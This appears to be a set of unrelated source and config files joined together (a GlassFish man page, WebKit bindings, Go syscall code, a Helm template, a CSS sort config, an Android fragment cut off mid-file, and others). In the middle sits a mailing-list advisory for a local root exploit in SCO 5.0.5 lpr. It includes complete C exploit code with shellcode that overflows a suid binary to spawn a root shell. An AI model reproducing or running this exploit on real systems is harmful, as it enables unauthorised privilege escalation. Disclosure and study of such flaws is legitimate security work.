The export-sync-bundle subcommand exports the configuration data of a
cluster or standalone instance to an archive file. The archive file can
then be used with the import-sync-bundle(1) subcommand to restore the
configuration data.
Importing an instance's configuration data transfers the data to a host
for an instance without the need for the instance to be able to
communicate with the domain administration server (DAS). Importing an
instance's configuration data is typically required for the following
reasons:
* To reestablish the instance after an upgrade
* To synchronize the instance manually with the DAS when the instance
cannot contact the DAS
The subcommand creates an archive that contains the following files and
directories in the current domain directory:
* All the files in the following directories:
* config
* docroot
* The entire contents of the following directories and their
subdirectories:
* applications
* config/target, where target is the cluster or standalone
instance for which configuration data is being exported
* generated
* lib
This subcommand is supported in remote mode only.
OPTIONS
--help, -?
Displays the help text for the subcommand.
--target
The cluster or standalone instance for which to export
configuration data. The --target option is required.
This option must not specify a clustered GlassFish Server instance.
If this option specifies a clustered instance, an error occurs. To
export configuration data for a clustered instance, specify the
name of the cluster of which the instance is a member, not the
instance.
--retrieve
Specifies whether the archive file is downloaded from the DAS host
to the host where the subcommand is run.
Possible values are as follows:
true
The archive file is downloaded to the host where the subcommand
is run.
false
The archive file is not downloaded and remains on the DAS host
(default).
OPERANDS
file-name
The file name and location of the archive file to which to export
the data.
The default depends on the setting of the --retrieve option:
* If --retrieve is false, the default is
sync/target-sync-bundle.zip in the current domain directory.
* If --retrieve is true, the default is target-sync-bundle.zip in
the current working directory.
target is the cluster or standalone instance that the --target
option specifies.
If a relative path is specified, the directory to which the path is
appended depends on the setting of the --retrieve option:
* If --retrieve is false, the path is appended to the config
subdirectory of the current domain directory.
* If --retrieve is true, the path is appended to the current
working directory.
If an existing directory is specified without a filename, the file
name of the archive file is target-sync-bundle.zip, where target is
the cluster or standalone instance that the --target option
specifies.
EXAMPLES
Example 1, Exporting the Configuration Data of a Cluster
This example exports the configuration data of the cluster
pmdcluster.
asadmin> export-sync-bundle --target=pmdcluster
Sync bundle: /export/glassfish3/glassfish/domains/domain1/sync/
pmdcluster-sync-bundle.zip
Command export-sync-bundle executed successfully.
EXIT STATUS
0
command executed successfully
1
error in executing the command
SEE ALSO
import-sync-bundle(1)
asadmin(1M)
Java EE 8 7 Dec 2010 export-sync-bundle(1)
| {
"pile_set_name": "Github"
} |
#include <pybind11/pybind11.h>
namespace py = pybind11;
PYBIND11_MODULE(test_cmake_build, m) {
m.def("add", [](int i, int j) { return i + j; });
}
| {
"pile_set_name": "Github"
} |
'use strict';
var GetIntrinsic = require('../GetIntrinsic');
var $Math = GetIntrinsic('%Math%');
var $Number = GetIntrinsic('%Number%');
module.exports = $Number.MAX_SAFE_INTEGER || $Math.pow(2, 53) - 1;
| {
"pile_set_name": "Github"
} |
--TEST--
Closure 015: converting to string/unicode
--FILE--
<?php
set_error_handler('myErrorHandler', E_RECOVERABLE_ERROR);
function myErrorHandler($errno, $errstr, $errfile, $errline) {
echo "Error: $errstr at $errfile($errline)\n";
return true;
}
$x = function() { return 1; };
print (string) $x;
print "\n";
print $x;
print "\n";
?>
--EXPECTF--
Error: Object of class Closure could not be converted to string at %sclosure_015.php(8)
Error: Object of class Closure could not be converted to string at %sclosure_015.php(10)
| {
"pile_set_name": "Github"
} |
/*
This file is part of the WebKit open source project.
This file has been generated by generate-bindings.pl. DO NOT MODIFY!
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public
License as published by the Free Software Foundation; either
version 2 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.
You should have received a copy of the GNU Library General Public License
along with this library; see the file COPYING.LIB. If not, write to
the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
Boston, MA 02110-1301, USA.
*/
#include "config.h"
#if ENABLE(3D_CANVAS)
#include "JSCanvasArrayBuffer.h"
#include "CanvasArrayBuffer.h"
#include <runtime/JSNumberCell.h>
#include <wtf/GetPtr.h>
using namespace JSC;
namespace WebCore {
ASSERT_CLASS_FITS_IN_CELL(JSCanvasArrayBuffer);
/* Hash table */
static const HashTableValue JSCanvasArrayBufferTableValues[2] =
{
{ "byteLength", DontDelete|ReadOnly, (intptr_t)jsCanvasArrayBufferByteLength, (intptr_t)0 },
{ 0, 0, 0, 0 }
};
static JSC_CONST_HASHTABLE HashTable JSCanvasArrayBufferTable =
#if ENABLE(PERFECT_HASH_SIZE)
{ 0, JSCanvasArrayBufferTableValues, 0 };
#else
{ 2, 1, JSCanvasArrayBufferTableValues, 0 };
#endif
/* Hash table for prototype */
static const HashTableValue JSCanvasArrayBufferPrototypeTableValues[1] =
{
{ 0, 0, 0, 0 }
};
static JSC_CONST_HASHTABLE HashTable JSCanvasArrayBufferPrototypeTable =
#if ENABLE(PERFECT_HASH_SIZE)
{ 0, JSCanvasArrayBufferPrototypeTableValues, 0 };
#else
{ 1, 0, JSCanvasArrayBufferPrototypeTableValues, 0 };
#endif
const ClassInfo JSCanvasArrayBufferPrototype::s_info = { "CanvasArrayBufferPrototype", 0, &JSCanvasArrayBufferPrototypeTable, 0 };
JSObject* JSCanvasArrayBufferPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
{
return getDOMPrototype<JSCanvasArrayBuffer>(exec, globalObject);
}
const ClassInfo JSCanvasArrayBuffer::s_info = { "CanvasArrayBuffer", 0, &JSCanvasArrayBufferTable, 0 };
JSCanvasArrayBuffer::JSCanvasArrayBuffer(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CanvasArrayBuffer> impl)
: DOMObjectWithGlobalPointer(structure, globalObject)
, m_impl(impl)
{
}
JSCanvasArrayBuffer::~JSCanvasArrayBuffer()
{
forgetDOMObject(this, impl());
}
JSObject* JSCanvasArrayBuffer::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
{
return new (exec) JSCanvasArrayBufferPrototype(JSCanvasArrayBufferPrototype::createStructure(globalObject->objectPrototype()));
}
bool JSCanvasArrayBuffer::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
{
return getStaticValueSlot<JSCanvasArrayBuffer, Base>(exec, &JSCanvasArrayBufferTable, this, propertyName, slot);
}
bool JSCanvasArrayBuffer::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
{
return getStaticValueDescriptor<JSCanvasArrayBuffer, Base>(exec, &JSCanvasArrayBufferTable, this, propertyName, descriptor);
}
JSValue jsCanvasArrayBufferByteLength(ExecState* exec, const Identifier&, const PropertySlot& slot)
{
JSCanvasArrayBuffer* castedThis = static_cast<JSCanvasArrayBuffer*>(asObject(slot.slotBase()));
UNUSED_PARAM(exec);
CanvasArrayBuffer* imp = static_cast<CanvasArrayBuffer*>(castedThis->impl());
return jsNumber(exec, imp->byteLength());
}
JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CanvasArrayBuffer* object)
{
return getDOMObjectWrapper<JSCanvasArrayBuffer>(exec, globalObject, object);
}
CanvasArrayBuffer* toCanvasArrayBuffer(JSC::JSValue value)
{
return value.inherits(&JSCanvasArrayBuffer::s_info) ? static_cast<JSCanvasArrayBuffer*>(asObject(value))->impl() : 0;
}
}
#endif // ENABLE(3D_CANVAS)
| {
"pile_set_name": "Github"
} |
Subject: SCO 5.0.5 lpr local root exploit
To: [email protected]
Greetings,
There is a hole in SCO 5.0.5, probably 5.0.x, /usr/bin/lpr. Or more
accurately, /usr/lpd/remote/lp, which lpr execs and passes your command
line args on to. This means that while /usr/bin/lpr is sgid lp, we'll
still get a rootshell because /usr/lpd/remote/lp is suid root/sgid
daemon. I haven't looked into the remote angle of this exploit, though
the pathname is hardly encouraging.
FIX: I would recommend a recursive directory sbit-search-and-destroy if
you're running SCO..
-Brock
--- cut ---
/*
* sco_lpr.c - overflows /usr/remote/lpd/lp and gives rootshell
* Tested on SCO 5.0.5+Skunkware98
*
* Compile gcc -o sco_lpr sco_lpr.c
* sco_lpr <offset> <bufsiz>
*
* -Brock Tellier [email protected]
*/
#include <stdlib.h>
#include <stdio.h>
char scoshell[]= /* [email protected] */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
#define LEN 3000
#define NOP 0x90
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[]) {
long int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);
}
else if (argc == 3) {
buflen=atoi(argv[2]);
}
else {
offset=1800;
buflen=1500;
}
addr=get_sp();
fprintf(stderr, "SCO 5.0.5 lpr exploit\n");
fprintf(stderr, "Brock Tellier [email protected]\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)
*(int *)&buf[i]=addr+offset;
execl("/usr/bin/lpr", "lpr", "-o", buf, NULL);
exit(0);
}
--- cut ---
Brock Tellier
UNIX Systems Administrator
Webley Systems
www.webley.com
| {
"pile_set_name": "Github"
} |
{{- if .Values.rbac.create -}}
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: {{ template "descheduler.fullname" . }}
labels:
{{- include "descheduler.labels" . | nindent 4 }}
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: {{ template "descheduler.fullname" . }}
subjects:
- kind: ServiceAccount
name: {{ template "descheduler.serviceAccountName" . }}
namespace: {{ .Release.Namespace }}
{{- end -}}
| {
"pile_set_name": "Github"
} |
<?php
/**
* Implementation of hook_content_access_special_roles().
*/
function logintoboggan_content_access_integration_content_access_special_roles(){
if (logintoboggan_validating_id() != DRUPAL_AUTHENTICATED_RID) {
return array(logintoboggan_validating_id());
}
}
| {
"pile_set_name": "Github"
} |
/*
** pymactoolbox.h - globals defined in mactoolboxglue.c
*/
#ifndef Py_PYMACTOOLBOX_H
#define Py_PYMACTOOLBOX_H
#ifdef __cplusplus
extern "C" {
#endif
#include <Carbon/Carbon.h>
#ifndef __LP64__
#include <QuickTime/QuickTime.h>
#endif /* !__LP64__ */
/*
** Helper routines for error codes and such.
*/
char *PyMac_StrError(int); /* strerror with mac errors */
extern PyObject *PyMac_OSErrException; /* Exception for OSErr */
PyObject *PyMac_GetOSErrException(void); /* Initialize & return it */
PyObject *PyErr_Mac(PyObject *, int); /* Exception with a mac error */
PyObject *PyMac_Error(OSErr); /* Uses PyMac_GetOSErrException */
#ifndef __LP64__
extern OSErr PyMac_GetFullPathname(FSSpec *, char *, int); /* convert
fsspec->path */
#endif /* __LP64__ */
/*
** These conversion routines are defined in mactoolboxglue.c itself.
*/
int PyMac_GetOSType(PyObject *, OSType *); /* argument parser for OSType */
PyObject *PyMac_BuildOSType(OSType); /* Convert OSType to PyObject */
PyObject *PyMac_BuildNumVersion(NumVersion);/* Convert NumVersion to PyObject */
int PyMac_GetStr255(PyObject *, Str255); /* argument parser for Str255 */
PyObject *PyMac_BuildStr255(Str255); /* Convert Str255 to PyObject */
PyObject *PyMac_BuildOptStr255(Str255); /* Convert Str255 to PyObject,
NULL to None */
int PyMac_GetRect(PyObject *, Rect *); /* argument parser for Rect */
PyObject *PyMac_BuildRect(Rect *); /* Convert Rect to PyObject */
int PyMac_GetPoint(PyObject *, Point *); /* argument parser for Point */
PyObject *PyMac_BuildPoint(Point); /* Convert Point to PyObject */
int PyMac_GetEventRecord(PyObject *, EventRecord *); /* argument parser for
EventRecord */
PyObject *PyMac_BuildEventRecord(EventRecord *); /* Convert EventRecord to
PyObject */
int PyMac_GetFixed(PyObject *, Fixed *); /* argument parser for Fixed */
PyObject *PyMac_BuildFixed(Fixed); /* Convert Fixed to PyObject */
int PyMac_Getwide(PyObject *, wide *); /* argument parser for wide */
PyObject *PyMac_Buildwide(wide *); /* Convert wide to PyObject */
/*
** The rest of the routines are implemented by extension modules. If they are
** dynamically loaded mactoolboxglue will contain a stub implementation of the
** routine, which imports the module, whereupon the module's init routine will
** communicate the routine pointer back to the stub.
** If USE_TOOLBOX_OBJECT_GLUE is not defined there is no glue code, and the
** extension modules simply declare the routine. This is the case for static
** builds (and could be the case for MacPython CFM builds, because CFM extension
** modules can reference each other without problems).
*/
#ifdef USE_TOOLBOX_OBJECT_GLUE
/*
** These macros are used in the module init code. If we use toolbox object glue
** it sets the function pointer to point to the real function.
*/
#define PyMac_INIT_TOOLBOX_OBJECT_NEW(object, rtn) { \
extern PyObject *(*PyMacGluePtr_##rtn)(object); \
PyMacGluePtr_##rtn = _##rtn; \
}
#define PyMac_INIT_TOOLBOX_OBJECT_CONVERT(object, rtn) { \
extern int (*PyMacGluePtr_##rtn)(PyObject *, object *); \
PyMacGluePtr_##rtn = _##rtn; \
}
#else
/*
** If we don't use toolbox object glue the init macros are empty. Moreover, we define
** _xxx_New to be the same as xxx_New, and the code in mactoolboxglue isn't included.
*/
#define PyMac_INIT_TOOLBOX_OBJECT_NEW(object, rtn)
#define PyMac_INIT_TOOLBOX_OBJECT_CONVERT(object, rtn)
#endif /* USE_TOOLBOX_OBJECT_GLUE */
/* macfs exports */
#ifndef __LP64__
int PyMac_GetFSSpec(PyObject *, FSSpec *); /* argument parser for FSSpec */
PyObject *PyMac_BuildFSSpec(FSSpec *); /* Convert FSSpec to PyObject */
#endif /* !__LP64__ */
int PyMac_GetFSRef(PyObject *, FSRef *); /* argument parser for FSRef */
PyObject *PyMac_BuildFSRef(FSRef *); /* Convert FSRef to PyObject */
/* AE exports */
extern PyObject *AEDesc_New(AppleEvent *); /* XXXX Why passed by address?? */
extern PyObject *AEDesc_NewBorrowed(AppleEvent *);
extern int AEDesc_Convert(PyObject *, AppleEvent *);
/* Cm exports */
extern PyObject *CmpObj_New(Component);
extern int CmpObj_Convert(PyObject *, Component *);
extern PyObject *CmpInstObj_New(ComponentInstance);
extern int CmpInstObj_Convert(PyObject *, ComponentInstance *);
/* Ctl exports */
#ifndef __LP64__
extern PyObject *CtlObj_New(ControlHandle);
extern int CtlObj_Convert(PyObject *, ControlHandle *);
#endif /* !__LP64__ */
/* Dlg exports */
#ifndef __LP64__
extern PyObject *DlgObj_New(DialogPtr);
extern int DlgObj_Convert(PyObject *, DialogPtr *);
extern PyObject *DlgObj_WhichDialog(DialogPtr);
#endif /* !__LP64__ */
/* Drag exports */
#ifndef __LP64__
extern PyObject *DragObj_New(DragReference);
extern int DragObj_Convert(PyObject *, DragReference *);
#endif /* !__LP64__ */
/* List exports */
#ifndef __LP64__
extern PyObject *ListObj_New(ListHandle);
extern int ListObj_Convert(PyObject *, ListHandle *);
#endif /* !__LP64__ */
/* Menu exports */
#ifndef __LP64__
extern PyObject *MenuObj_New(MenuHandle);
extern int MenuObj_Convert(PyObject *, MenuHandle *);
#endif /* !__LP64__ */
/* Qd exports */
#ifndef __LP64__
extern PyObject *GrafObj_New(GrafPtr);
extern int GrafObj_Convert(PyObject *, GrafPtr *);
extern PyObject *BMObj_New(BitMapPtr);
extern int BMObj_Convert(PyObject *, BitMapPtr *);
extern PyObject *QdRGB_New(RGBColor *);
extern int QdRGB_Convert(PyObject *, RGBColor *);
#endif /* !__LP64__ */
/* Qdoffs exports */
#ifndef __LP64__
extern PyObject *GWorldObj_New(GWorldPtr);
extern int GWorldObj_Convert(PyObject *, GWorldPtr *);
#endif /* !__LP64__ */
/* Qt exports */
#ifndef __LP64__
extern PyObject *TrackObj_New(Track);
extern int TrackObj_Convert(PyObject *, Track *);
extern PyObject *MovieObj_New(Movie);
extern int MovieObj_Convert(PyObject *, Movie *);
extern PyObject *MovieCtlObj_New(MovieController);
extern int MovieCtlObj_Convert(PyObject *, MovieController *);
extern PyObject *TimeBaseObj_New(TimeBase);
extern int TimeBaseObj_Convert(PyObject *, TimeBase *);
extern PyObject *UserDataObj_New(UserData);
extern int UserDataObj_Convert(PyObject *, UserData *);
extern PyObject *MediaObj_New(Media);
extern int MediaObj_Convert(PyObject *, Media *);
#endif /* !__LP64__ */
/* Res exports */
extern PyObject *ResObj_New(Handle);
extern int ResObj_Convert(PyObject *, Handle *);
extern PyObject *OptResObj_New(Handle);
extern int OptResObj_Convert(PyObject *, Handle *);
/* TE exports */
#ifndef __LP64__
extern PyObject *TEObj_New(TEHandle);
extern int TEObj_Convert(PyObject *, TEHandle *);
#endif /* !__LP64__ */
/* Win exports */
#ifndef __LP64__
extern PyObject *WinObj_New(WindowPtr);
extern int WinObj_Convert(PyObject *, WindowPtr *);
extern PyObject *WinObj_WhichWindow(WindowPtr);
#endif /* !__LP64__ */
/* CF exports */
extern PyObject *CFObj_New(CFTypeRef);
extern int CFObj_Convert(PyObject *, CFTypeRef *);
extern PyObject *CFTypeRefObj_New(CFTypeRef);
extern int CFTypeRefObj_Convert(PyObject *, CFTypeRef *);
extern PyObject *CFStringRefObj_New(CFStringRef);
extern int CFStringRefObj_Convert(PyObject *, CFStringRef *);
extern PyObject *CFMutableStringRefObj_New(CFMutableStringRef);
extern int CFMutableStringRefObj_Convert(PyObject *, CFMutableStringRef *);
extern PyObject *CFArrayRefObj_New(CFArrayRef);
extern int CFArrayRefObj_Convert(PyObject *, CFArrayRef *);
extern PyObject *CFMutableArrayRefObj_New(CFMutableArrayRef);
extern int CFMutableArrayRefObj_Convert(PyObject *, CFMutableArrayRef *);
extern PyObject *CFDictionaryRefObj_New(CFDictionaryRef);
extern int CFDictionaryRefObj_Convert(PyObject *, CFDictionaryRef *);
extern PyObject *CFMutableDictionaryRefObj_New(CFMutableDictionaryRef);
extern int CFMutableDictionaryRefObj_Convert(PyObject *, CFMutableDictionaryRef *);
extern PyObject *CFURLRefObj_New(CFURLRef);
extern int CFURLRefObj_Convert(PyObject *, CFURLRef *);
extern int OptionalCFURLRefObj_Convert(PyObject *, CFURLRef *);
#ifdef __cplusplus
}
#endif
#endif
| {
"pile_set_name": "Github"
} |
// Copyright 2014 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build dragonfly freebsd linux netbsd openbsd
package unix
import "unsafe"
// fcntl64Syscall is usually SYS_FCNTL, but is overridden on 32-bit Linux
// systems by flock_linux_32bit.go to be SYS_FCNTL64.
var fcntl64Syscall uintptr = SYS_FCNTL
// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
valptr, _, errno := Syscall(fcntl64Syscall, fd, uintptr(cmd), uintptr(arg))
var err error
if errno != 0 {
err = errno
}
return int(valptr), err
}
// FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
_, _, errno := Syscall(fcntl64Syscall, fd, uintptr(cmd), uintptr(unsafe.Pointer(lk)))
if errno == 0 {
return nil
}
return errno
}
| {
"pile_set_name": "Github"
} |
exclude:
- ".git/**"
- "node_modules/**"
- "bower_components/**"
always-semicolon: true
block-indent: 4
color-case: "lower"
color-shorthand: true
element-case: "lower"
eof-newline: true
leading-zero: false
quotes: "double"
remove-empty-rulesets: true
space-after-colon: " "
space-after-combinator: " "
space-after-opening-brace: "\n"
space-after-selector-delimiter: "\n"
space-after-value: ""
space-before-closing-brace: "\n"
space-before-colon: ""
space-before-combinator: " "
space-before-opening-brace: 1
space-before-selector-delimiter: ""
space-between-declarations: "\n"
strip-spaces: true
unitless-zero: true
vendor-prefix-align: true
sort-order-fallback: "abc"
sort-order:
-
- "content"
- "position"
- "z-index"
- "top"
- "right"
- "bottom"
- "left"
- "display"
- "visibility"
- "float"
- "clear"
- "overflow"
- "overflow-x"
- "overflow-y"
- "-ms-overflow-x"
- "-ms-overflow-y"
- "-webkit-overflow-scrolling"
- "clip"
- "zoom"
- "flex-direction"
- "flex-order"
- "flex-pack"
- "flex-align"
- "-webkit-box-sizing"
- "-moz-box-sizing"
- "-ms-box-sizing"
- "-o-box-sizing"
- "box-sizing"
- "width"
- "min-width"
- "max-width"
- "height"
- "min-height"
- "max-height"
- "margin"
- "margin-top"
- "margin-right"
- "margin-bottom"
- "margin-left"
- "padding"
- "padding-top"
- "padding-right"
- "padding-bottom"
- "padding-left"
- "border"
- "border-width"
- "border-style"
- "border-color"
- "border-top"
- "border-top-width"
- "border-top-style"
- "border-top-color"
- "border-right"
- "border-right-width"
- "border-right-style"
- "border-right-color"
- "border-bottom"
- "border-bottom-width"
- "border-bottom-style"
- "border-bottom-color"
- "border-left"
- "border-left-width"
- "border-left-style"
- "border-left-color"
- "font"
- "font-family"
- "font-size"
- "font-weight"
- "font-style"
- "font-variant"
- "font-size-adjust"
- "font-stretch"
- "font-effect"
- "font-emphasize"
- "font-emphasize-position"
- "font-emphasize-style"
- "font-smooth"
- "line-height"
- "text-align"
- "-webkit-text-align-last"
- "-moz-text-align-last"
- "-ms-text-align-last"
- "-o-text-align-last"
- "text-align-last"
- "vertical-align"
- "white-space"
- "text-decoration"
- "text-emphasis"
- "text-emphasis-color"
- "text-emphasis-style"
- "text-emphasis-position"
- "text-indent"
- "-ms-text-justify"
- "text-justify"
- "text-transform"
- "letter-spacing"
- "word-spacing"
- "-ms-writing-mode"
- "text-outline"
- "text-wrap"
- "text-overflow"
- "-ms-text-overflow"
- "text-overflow-ellipsis"
- "text-overflow-mode"
- "-ms-word-wrap"
- "word-wrap"
- "word-break"
- "-ms-word-break"
- "-moz-tab-size"
- "-o-tab-size"
- "tab-size"
- "-webkit-hyphens"
- "-moz-hyphens"
- "-ms-hyphens"
- "-o-hyphens"
- "hyphens"
- "table-layout"
- "empty-cells"
- "caption-side"
- "border-spacing"
- "border-collapse"
- "list-style"
- "list-style-position"
- "list-style-type"
- "list-style-image"
- "counter-reset"
- "counter-increment"
- "quotes"
- "opacity"
- "filter:progid:DXImageTransform.Microsoft.Alpha(Opacity"
- "-ms-filter:\\'progid:DXImageTransform.Microsoft.Alpha"
- "-ms-interpolation-mode"
- "color"
- "-webkit-border-radius"
- "-moz-border-radius"
- "-ms-border-radius"
- "-o-border-radius"
- "border-radius"
- "-webkit-border-top-left-radius"
- "-moz-border-radius-topleft"
- "-ms-border-top-left-radius"
- "-o-border-radius-topleft"
- "border-top-left-radius"
- "-webkit-border-top-right-radius"
- "-moz-border-radius-topright"
- "-ms-border-top-right-radius"
- "-o-border-radius-topright"
- "border-top-right-radius"
- "-webkit-border-bottom-right-radius"
- "-moz-border-radius-bottomright"
- "-ms-border-bottom-right-radius"
- "-o-border-radius-bottomright"
- "border-bottom-right-radius"
- "-webkit-border-bottom-left-radius"
- "-moz-border-radius-bottomleft"
- "-ms-border-bottom-left-radius"
- "-o-border-radius-bottomleft"
- "border-bottom-left-radius"
- "-webkit-border-image"
- "-moz-border-image"
- "-ms-border-image"
- "-o-border-image"
- "border-image"
- "-webkit-border-image-source"
- "-moz-border-image-source"
- "-ms-border-image-source"
- "-o-border-image-source"
- "border-image-source"
- "-webkit-border-image-slice"
- "-moz-border-image-slice"
- "-ms-border-image-slice"
- "-o-border-image-slice"
- "border-image-slice"
- "-webkit-border-image-width"
- "-moz-border-image-width"
- "-ms-border-image-width"
- "-o-border-image-width"
- "border-image-width"
- "-webkit-border-image-outset"
- "-moz-border-image-outset"
- "-ms-border-image-outset"
- "-o-border-image-outset"
- "border-image-outset"
- "-webkit-border-image-repeat"
- "-moz-border-image-repeat"
- "-ms-border-image-repeat"
- "-o-border-image-repeat"
- "border-image-repeat"
- "outline"
- "outline-width"
- "outline-style"
- "outline-color"
- "outline-offset"
- "background"
- "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader"
- "background-color"
- "background-image"
- "background-repeat"
- "background-attachment"
- "background-position"
- "background-position-x"
- "-ms-background-position-x"
- "background-position-y"
- "-ms-background-position-y"
- "-webkit-background-clip"
- "-moz-background-clip"
- "-ms-background-clip"
- "-o-background-clip"
- "background-clip"
- "background-origin"
- "-webkit-background-size"
- "-moz-background-size"
- "-ms-background-size"
- "-o-background-size"
- "background-size"
- "box-decoration-break"
- "-webkit-box-shadow"
- "-moz-box-shadow"
- "-ms-box-shadow"
- "-o-box-shadow"
- "box-shadow"
- "filter:progid:DXImageTransform.Microsoft.gradient"
- "-ms-filter:\\'progid:DXImageTransform.Microsoft.gradient"
- "text-shadow"
- "-webkit-transition"
- "-moz-transition"
- "-ms-transition"
- "-o-transition"
- "transition"
- "-webkit-transition-delay"
- "-moz-transition-delay"
- "-ms-transition-delay"
- "-o-transition-delay"
- "transition-delay"
- "-webkit-transition-timing-function"
- "-moz-transition-timing-function"
- "-ms-transition-timing-function"
- "-o-transition-timing-function"
- "transition-timing-function"
- "-webkit-transition-duration"
- "-moz-transition-duration"
- "-ms-transition-duration"
- "-o-transition-duration"
- "transition-duration"
- "-webkit-transition-property"
- "-moz-transition-property"
- "-ms-transition-property"
- "-o-transition-property"
- "transition-property"
- "-webkit-transform"
- "-moz-transform"
- "-ms-transform"
- "-o-transform"
- "transform"
- "-webkit-transform-origin"
- "-moz-transform-origin"
- "-ms-transform-origin"
- "-o-transform-origin"
- "transform-origin"
- "-webkit-animation"
- "-moz-animation"
- "-ms-animation"
- "-o-animation"
- "animation"
- "-webkit-animation-name"
- "-moz-animation-name"
- "-ms-animation-name"
- "-o-animation-name"
- "animation-name"
- "-webkit-animation-duration"
- "-moz-animation-duration"
- "-ms-animation-duration"
- "-o-animation-duration"
- "animation-duration"
- "-webkit-animation-play-state"
- "-moz-animation-play-state"
- "-ms-animation-play-state"
- "-o-animation-play-state"
- "animation-play-state"
- "-webkit-animation-timing-function"
- "-moz-animation-timing-function"
- "-ms-animation-timing-function"
- "-o-animation-timing-function"
- "animation-timing-function"
- "-webkit-animation-delay"
- "-moz-animation-delay"
- "-ms-animation-delay"
- "-o-animation-delay"
- "animation-delay"
- "-webkit-animation-iteration-count"
- "-moz-animation-iteration-count"
- "-ms-animation-iteration-count"
- "-o-animation-iteration-count"
- "animation-iteration-count"
- "-webkit-animation-direction"
- "-moz-animation-direction"
- "-ms-animation-direction"
- "-o-animation-direction"
- "animation-direction"
- "resize"
- "cursor"
- "-webkit-user-select"
- "-moz-user-select"
- "-ms-user-select"
- "-o-user-select"
- "user-select"
- "pointer-events"
- "nav-index"
- "nav-up"
- "nav-right"
- "nav-down"
- "nav-left"
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2014 Freddie (Musenkishi) Lust-Hed
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.musenkishi.wally.fragments;
import android.app.ActivityOptions;
import android.content.DialogInterface;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.drawable.TransitionDrawable;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.Message;
import android.support.v4.app.ActivityCompat;
import android.support.v4.app.ActivityOptionsCompat;
import android.support.v4.app.FragmentManager;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.ProgressBar;
import android.widget.Toast;
import com.bumptech.glide.load.resource.bitmap.GlideBitmapDrawable;
import com.musenkishi.wally.R;
import com.musenkishi.wally.activities.ImageDetailsActivity;
import com.musenkishi.wally.activities.MainActivity;
import com.musenkishi.wally.adapters.RecyclerImagesAdapter;
import com.musenkishi.wally.base.GridFragment;
import com.musenkishi.wally.base.WallyApplication;
import com.musenkishi.wally.dataprovider.DataProvider;
import com.musenkishi.wally.dataprovider.NetworkDataProvider;
import com.musenkishi.wally.dataprovider.models.DataProviderError;
import com.musenkishi.wally.dataprovider.models.SaveImageRequest;
import com.musenkishi.wally.models.Image;
import com.musenkishi.wally.models.ImagePage;
import com.musenkishi.wally.notification.NotificationProvider;
import com.musenkishi.wally.observers.FileReceiver;
import com.musenkishi.wally.observers.FiltersChangeReceiver;
import com.musenkishi.wally.views.AutoGridView;
import com.musenkishi.wally.views.swipeclearlayout.SwipeClearLayout;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;
import static com.musenkishi.wally.observers.FileReceiver.OnFileChangeListener;
import static com.musenkishi.wally.observers.FiltersChangeReceiver.OnFiltersChangeListener;
/**
* RandomImagesFragment is responsible for showing the user a randomized list of wallpapers.
*
* Created by Freddie (Musenkishi) Lust-Hed on 2014-02-28
*/
public class RandomImagesFragment extends GridFragment implements
RecyclerImagesAdapter.OnSaveButtonClickedListener,
Handler.Callback,
OnFileChangeListener,
OnFiltersChangeListener,
SwipeClearLayout.OnRefreshListener,
SwipeClearLayout.OnSwipeListener {
public static final String TAG = "com.musenkishi.wally.RandomImagesFragment";
private static final int MSG_GET_IMAGES = 119;
private static final int MSG_ERROR_IMAGE_REQUEST = 121;
private static final int MSG_IMAGES_REQUEST_CREATE = 122;
private static final int MSG_IMAGES_REQUEST_APPEND = 123;
private static final int MSG_SAVE_LIST_OF_SAVED_IMAGES = 128;
private static final int MSG_ERROR_IMAGE_SAVING = 129;
